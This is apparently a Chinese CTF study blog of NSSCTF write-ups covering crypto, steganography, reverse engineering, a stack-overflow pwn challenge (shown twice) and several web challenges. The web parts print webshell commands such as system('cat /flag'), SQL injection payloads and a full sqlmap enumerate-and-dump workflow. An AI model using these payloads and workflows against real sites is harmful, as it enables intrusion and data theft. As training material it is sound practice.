NSSCTF五题积累(七)
第一轮
1.Crypto
[BJDCTF 2020]encode
#Base64 #RC4 #XOR
附件:

拿到题目首先upx脱壳。再ida32分析:


1 | int sub_804887C() |
2.Web
[SWPUCTF 2021 新生赛]caidao
#RCEPHP #信息收集

法一:打开网页看到一句话木马命令(想到中国蚁剑)


退到最外层,直接找到flag

NSSCTF{62487fd7-b969-4456-a318-f777ccbb1cc1}
法二:Hackbar,根据页面提示使用POST方式以wllm为参传值;
先传入system(“ls /“);查出根目录下有flag文件;在传入system(“cat /flag”);查看flag。
**wllm=system("ls /");**

wllm=system('cat /flag');

NSSCTF{71963bd4-678f-4d99-96d5-4c9fba40ad5e}
法三:Burpsuite
Repeater把GET改为POST,右侧Inspector添加请求主体参数。

发送查看响应:


NSSCTF{71963bd4-678f-4d99-96d5-4c9fba40ad5e}
3.Misc
[NSSRound#V Team]画出一个flag
#LSB #MISC #图片隐写


翻了一下,无特别的信息。
使用Stegsolve查看LSB

保存为zip,解压出一个flag.dat
根据题目名提示flag是画出来的。于是尝试base64解码后转为01字符串:
1 | import base64 |
缩小看的确暗藏玄机。

需要不断调整窗口比例和缩放比例,直至能辨认无误。看得那叫一个老眼昏花。

这样不错,最清楚了
NSSCTF{!!Draw_draw_A_flag!!}
4.Pwn
[WUSTCTF 2020]getshell2
#栈溢出 #ret2syscall #栈
附件:service
题目环境:
直接file+checksec

只开启了栈不可执行,应该是栈溢出题目。
使用ROPgadget

找到了sh地址:0x08048670
直接写死:sh_addr = 0x08048670

栈溢出(Stack Overflow) 漏洞:
- 程序执行完一个函数后,会跳回它被调用的地方,即返回地址(存于栈上)
- 当攻击者输入超长数据后,会覆盖返回地址(Return Address)

gets()、strcpy()等属于没有边界检查的函数。
🛠️ 六、完整攻击流程
- 连接远程服务
- p = remote(‘ip’, port)
构造 payload
- 填充 28 字节到返回地址位置
- 覆盖返回地址为 `system`
- 提供 fake return 和 `"sh"` 地址
- 发送 payload
1 | Python |
- 进入交互模式,输入命令
1 | Python |
Q1: 为什么不用 "/bin/sh",而用 "sh"?
很多题目为了简化,只放了 "sh"。
在 Linux 中,system("sh") 和 system("/bin/sh") 效果几乎一样,都能弹 shell。
Q2: 0xdeadbeef 是什么?会 crash 吗?
它只是一个“占位符”,表示“随便填个地址”。
只要你在 system 返回前已经拿到 shell,程序是否 crash 都不影响你读 flag。
Q3: 为什么偏移是 28(0x18+4)?
0x18 = 24 字节是 buffer 大小
+4 是 saved ebp(旧的栈基址指针)
总共 28 字节后,才是返回地址
5.Reverse
[BJDCTF_2020]Easy
附件:easy.exe
无壳程序,直接分析即可

第二轮
1.Crypto
[CryptoCTF_2020]One_Line_Crypto

1 | from Crypto.Util.number import * |
enc文件:14608474132952352328897080717325464308438322623319847428447933943202421270837793998477083014291941466731019653023483491235062655934244065705032549531016125948268383108879698723118735440224501070612559381488973867339949208410120554358243554988690125725017934324313420395669218392736333195595568629468510362825066512708008360268113724800748727389663826686526781051838485024304995256341660882888351454147057956887890382690983135114799585596506505555357140161761871724188274546128208872045878153092716215744912986603891814964771125466939491888724521626291403272010814738087901173244711311698792435222513388474103420001421
2.Web
[第五空间 2021]WebFTP
#目录扫描 #信息收集 #.git泄露

使用御剑工具扫描,发现大量域名



NSSCTF{f632d0a0-0321-4df6-b3b7-fae9e4c0b269}
Robots
昨天十三年社团讲课,讲了Robots.txt的作用,小刚上课没有认真听课正在着急,你能不能帮帮忙


flag{29d2b23a9f2145888d1f8c76e2b4a8b4}
[SWPUCTF 2021 新生赛]easy_sql
SQL注入报错注入布尔盲注
第一步:信息收集(基础侦察)
目标: 确认目标可达,收集基本信息
curl -I "http://node4.anna.nssctf.cn:24443/"

看什么:
- HTTP状态码:200 OK(目标存活)
- Server:nginx/1.14.2(Web服务器信息)
- X-Powered-By:PHP/5.6.40(后端语言,老版本可能有漏洞)
经验: curl -I 比直接访问页面更快,只看头部信息,不下载内容!
第二步:分析页面,找参数
目标: 找到可能存在SQL注入的参数
curl -s "http://node4.anna.nssctf.cn:24443/"

Ctrl+U查看源代码也可

观察结果:
- 页面标题:”参数是 wllm” ← 重要线索!
- 页面内容:”球球你输入点东西吧!” ← 说明需要输入参数
推理: 存在一个叫 wllm 的GET参数
测试参数:
curl -s "http://node4.anna.nssctf.cn:24443/?wllm=test"

先用普通值测试参数是否被处理,页面变化=参数有效
第三步:确认SQL注入漏洞
目标: 验证是否存在SQL注入
curl -s "http://node4.anna.nssctf.cn:24443/?wllm=test"
观察什么:
如果看到SQL错误信息,说明存在注入!比如:
You have an error in your SQL syntax…
经验: 单引号 ‘ 是最简单的SQL注入测试字符,能快速暴露漏洞!
第四步:SQLMap自动化攻击
现在开始真正使用SQLMap!
4.1 基础扫描(找注入点)
命令:sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch
参数解释:
-u:目标URL
?wllm=1:给参数一个普通值
–batch:自动选择,不问问题
看什么:
SQLMap会告诉你:注入类型(Boolean、Time、Error等)
注入技术(UNION、Boolean等)

数据库信息:back-end DBMS: MySQL >= 5.0 (MariaDB fork)
web application technology: Nginx 1.14.2, PHP 5.6.40
意思是:
数据库:MySQL 5.0以上版本,MariaDB分支
Web服务器:Nginx 1.14.2
后端语言:PHP 5.6.40
SQLMap找到了4种注入方式:
- Boolean-based blind(布尔盲注)
Payload: wllm=1’ AND 5235=5235 AND ‘aqWL’=’aqWL
原理: 通过True/False判断来获取信息
特点: 速度慢,但很稳定
- Error-based(报错注入) ⭐推荐
Payload: wllm=1’ AND (SELECT 9989 FROM(SELECT COUNT(*),CONCAT(…))x…
原理: 让数据库报错,在错误信息中显示数据
特点: 速度快!一次性获取大量信息
- Time-based blind(时间盲注)
Payload: wllm=1’ AND (SELECT 7527 FROM (SELECT(SLEEP(5)))esur)…
原理: 通过延时来判断True/False
特点: 最慢,但最通用
- UNION query(联合查询注入) ⭐推荐
Payload: wllm=-4242’ UNION ALL SELECT NULL,NULL,CONCAT(…)– -
原理: 通过UNION合并查询直接显示数据
特点: 最快!最直接!
4.2 枚举数据库
命令:
sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch --dbs
参数解释:
- –dbs:列出所有数据库

test_db ← 这个看起来可疑!
本小姐的观察技巧: test_db 明显不是默认数据库,肯定是放flag的地方!
4.3 枚举表sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch -D test_db --tables
新增参数:
- -D test_db:指定数据库
- –tables:列出该数据库的所有表

4.4 查看表结构
sqlmap -u "http://node4.anna.nssctf.cn:24443/?wllm=1" --batch -D test_db -T test_tb --columns
新增参数:
- -T test_tb:指定表
- –columns:查看表结构

4.5 获取FLAG!
最后一步:
sqlmap -u “http://node4.anna.nssctf.cn:24443/?wllm=1“ –batch -D test_db -T test_tb –dump
新增参数:
- –dump:导出表中的所有数据

NSSCTF{ecd98b8f-2324-48e6-9785-0b5ec164a0ee}
🧠 SQLMap使用思路总结
核心思路流程:
- 信息收集 → 2. 找参数 → 3. 确认注入 → 4. SQLMap自动化
SQLMap标准流程:
找注入点 → 枚举数据库 → 枚举表 → 查看结构 → 导出数据
常用命令组合:
基础测试
sqlmap -u “URL?param=1” –batch
找数据库
sqlmap -u “URL?param=1” –batch –dbs
找表
sqlmap -u “URL?param=1” –batch -D dbname –tables
看结构
sqlmap -u “URL?param=1” –batch -D dbname -T tablename –columns
获取数据
sqlmap -u “URL?param=1” –batch -D dbname -T tablename –dump
- 快速判断目标:
- 看到”参数是xxx” → 直接用那个参数名
- 页面简单 → 通常是入门级SQL注入
- SQLMap参数优先级:
- –batch:永远加上,省去手动选择
- –dbs → –tables → –columns → –dump:标准流程
- 数据库命名规律:
- test_db, flag_db, challenge_db:90%放flag
- information_schema, mysql:系统数据库,不用看
- 表名规律:
- flag, test_tb, admin:重点关注的表
- users:通常放用户信息,可能有flag
- 避坑指南:
- 用curl -I先测试连通性,避免SQLMap卡死
- 看到–batch参数,SQLMap就不会一直问问题
- 如果SQLMap卡住,用–timeout=10限制时间
遇到问题时:
- SQLMap报错 → 检查URL是否正确
- 找不到数据库 → 可能权限不够或注入点错误
- 卡住不动 → 加–timeout参数
3.Misc
[陇剑杯_2021]签到
题目描述:
此时正在进行的可能是__________协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)。得到的flag请使用NSSCTF{}格式提交。

NSSCTF{http}
4.Pwn
[WUSTCTF 2020]getshell2
#栈溢出 #ret2syscall #栈
附件:service
题目环境:
直接file+checksec

只开启了栈不可执行,应该是栈溢出题目。
使用ROPgadget

找到了sh地址:0x08048670
直接写死:sh_addr = 0x08048670

栈溢出(Stack Overflow) 漏洞:
- 程序执行完一个函数后,会跳回它被调用的地方,即返回地址(存于栈上)
- 当攻击者输入超长数据后,会覆盖返回地址(Return Address)

gets()、strcpy()等属于没有边界检查的函数。
🛠️ 六、完整攻击流程
- 连接远程服务
- p = remote(‘ip’, port)
构造 payload
- 填充 28 字节到返回地址位置
- 覆盖返回地址为 `system`
- 提供 fake return 和 `"sh"` 地址
- 发送 payload
1 | Python |
- 进入交互模式,输入命令
1 | Python |
Q1: 为什么不用 "/bin/sh",而用 "sh"?
很多题目为了简化,只放了 "sh"。
在 Linux 中,system("sh") 和 system("/bin/sh") 效果几乎一样,都能弹 shell。
Q2: 0xdeadbeef 是什么?会 crash 吗?
它只是一个“占位符”,表示“随便填个地址”。
只要你在 system 返回前已经拿到 shell,程序是否 crash 都不影响你读 flag。
Q3: 为什么偏移是 28(0x18+4)?
0x18 = 24 字节是 buffer 大小
+4 是 saved ebp(旧的栈基址指针)
总共 28 字节后,才是返回地址
5.Reverse
[SEETF 2022]Magic
#反调试 #REVERSE
题目描述:There might be a hidden gate to the magical land of flags…

默认值:

1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
重新用ida32打开magic.exe,进入内核选项 kernel options,取消勾选 进行"无返回"分析 perform no-return analysis,这样分析main 函数内容会更完整。 
操作后:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
原因:
部分函数直接调用 ExitProcess 退出而不返回,以阻碍动调。ida识别后认为是结束点,就不分析 main 函数剩下的代码了。
补充题
这两题来自旧总文中结构错位或孤立残段。为了不漏题,先并入本篇补充区,后续若再凑满一轮可单独迁出。
Crypto补充
[鹤城杯 2021]A_CRYPTO
#Base家族 #ROT #古典密码
4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35
这题只有一种方法:ciphey一把梭,否则是无法按常理做出来的。
flag{W0w_y0u_c4n_rea11y_enc0d1ng!}
Web补充
[SUCTF 2019]EasySQL
#SQL注入 #堆叠注入 #后端逻辑分析
题目地址:http://node4.anna.nssctf.cn:27612/
题目分析
这是一道经典的SQL注入题目,题目提示我们输入flag,它会告诉我们是否正确。
首先,观察到页面只有一个输入框,我们可以输入数据,然后点击提交。
解题思路
这道题的关键在于猜测后端的SQL逻辑。通过搜索这道题的背景信息,我们可以知道这道题的后端逻辑大致如下:
1 | $sql = "select " . $_POST['输入内容'] . " || flag from Flag"; |
这里的 || 在 MySQL 中是逻辑或运算符。当我们输入某些特定内容时,可以触发一些有趣的效果。
非预期解法(最简单)
输入 payload: *,1
原理:
- 当我们输入
*,1时,后端的SQL语句变成:select *,1 || flag from Flag - 由于 MySQL 解析的优先级,
*,1会被优先解析,变成:select *,1 from Flag - 这样就可以成功查询到 Flag 表的所有内容
最终得到的 flag:NSSCTF{e1f5b83a-7d3f-4493-9041-dd725742be32}
另一种解法
使用 payload: 1;set sql_mode=pipes_as_concat;select 1
原理:
- 通过堆叠注入,我们设置 sql_mode 为 pipes_as_concat
- 这样 || 符号就从逻辑或变成了字符串连接符
- 然后再查询就可以得到 flag 了
关于使用 sqlmap
本机 WSL 环境有 /usr/local/bin/sqlmap 可以使用。不过,对于这道题来说,直接使用手工 payload 更加高效快捷,因为它主要是依赖对后端逻辑的猜测,而不是常规的 SQL 注入流程。
[LitCTF 2023]这是什么?SQL !注一下 !
SQL注入 布尔盲注 时间盲注
id是参数。使用sqlmap。
1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" |

时间盲注。
1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" --dbs |

1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" -D ctf --tables |
输出一下内容。因为是时间盲注,需要一点时间。
1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" -D ctf -T users --columns |

1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" -D ctf -T users --dump |

说是假的flag
再去看:ctftraining
1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" -D ctftraining --tables |

1 | sqlmap -u "http://node5.anna.nssctf.cn:25436/?id=1" -D ctftraining -T flag --dump |


